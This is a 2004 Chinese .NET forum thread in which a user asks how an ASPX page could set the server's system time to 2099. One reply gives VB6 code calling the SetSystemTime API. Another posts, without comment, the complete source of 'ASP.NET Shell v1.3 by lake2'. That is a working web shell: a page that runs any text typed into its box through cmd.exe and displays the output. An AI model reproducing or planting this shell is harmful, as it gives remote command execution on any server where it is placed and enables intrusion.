请问如何用ASP.NET页面改变系统时间?(有管理员权限的情况下)

cat_hsfz 2004-08-25 06:33:51
我现在需要一个页面(最好仅仅是一个ASPX文件),在访问时不需要输入任何信息,仅仅是把系统时间修改为2099年1月1日0时0分0秒,然后Response输入"Done",那就行了。

不要问我为什么有那么奇怪的需求,只要你能提供最简短的实现代码我就把所有分数给你,我自己能够把代码修改到适合我用。

另外这个页面所在的目录会在IIS中设置为“集成windows验证”,而该目录在硬盘上设置为仅Administrators能够访问,所以成功访问该页面的用户都有足够的权限修改系统时间。
...全文
129 7 打赏 收藏 转发到动态 举报
写回复
用AI写文章
7 条回复
切换为时间正序
请发表友善的回复…
发表回复
qixiao 2004-10-16
  • 打赏
  • 举报
回复
<%@ Page Language="VB" Debug="true" %>
<%@ Import Namespace="system.IO" %>
<%@ import namespace="System.Diagnostics" %>
<script runat="server">
Sub RunCmd(Src As Object, E As EventArgs)
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo("cmd.exe")
myProcessStartInfo.UseShellExecute = False
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments="/c " & Cmd.text
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
result.text=Cmd.text & vbcrlf & "<pre>" & mystring & "</pre>"
cmd.text=""
End Sub
</script>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>ASP.NET Shell v1.3 by lake2</title>

</head>
<body>
<form runat="server">
<asp:TextBox ID="cmd" runat="server" style="border: 1px solid #084B8E"/>
<asp:Button ID="Button" runat="server" Text="Run" OnClick="runcmd" style="color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5"/>
<p>
<asp:Label ID="result" runat="server" style="color: #0000FF"/> </p>
</form>
</body>
</html>
cat_hsfz 2004-10-15
  • 打赏
  • 举报
回复
原来还是要调用系统API啊……

请问有人能提供一个调用cmd+time的方法来看看吗?
wwh207 2004-09-08
  • 打赏
  • 举报
回复
gz
changlin365 2004-09-08
  • 打赏
  • 举报
回复
Private Type SYSTEMTIME
wYear As Integer
wMonth As Integer
wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliseconds As Integer
End Type

Private Declare Function SetSystemTime Lib "kernel32" (lpSystemTime _
As SYSTEMTIME) As Long

Private Sub Form_Load()
Dim lReturn As Long
Dim lpSystemTime As SYSTEMTIME
lpSystemTime.wYear = 1996
lpSystemTime.wMonth = 6
lpSystemTime.wDayOfWeek = 5
lpSystemTime.wDay = 28
lpSystemTime.wHour = 9
lpSystemTime.wMinute = 42
lpSystemTime.wSecond = 0
lpSystemTime.wMilliseconds = 0
lReturn = SetSystemTime(lpSystemTime)
End Sub
cat_hsfz 2004-08-28
  • 打赏
  • 举报
回复
.NET就没有一个系统组件能够改变系统时间吗?
另外有人建议我直接通过执行cmd来执行date命令,有人能告诉我该怎样执行吗?
bjbr 2004-08-25
  • 打赏
  • 举报
回复
up
「已注销」 2004-08-25
  • 打赏
  • 举报
回复
关注古怪的需求

62,071

社区成员

发帖
与我相关
我的任务
社区描述
.NET技术交流专区
javascript云原生 企业社区
社区管理员
  • ASP.NET
  • .Net开发者社区
  • R小R
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

.NET 社区是一个围绕开源 .NET 的开放、热情、创新、包容的技术社区。社区致力于为广大 .NET 爱好者提供一个良好的知识共享、协同互助的 .NET 技术交流环境。我们尊重不同意见,支持健康理性的辩论和互动,反对歧视和攻击。

希望和大家一起共同营造一个活跃、友好的社区氛围。

试试用AI创作助手写篇文章吧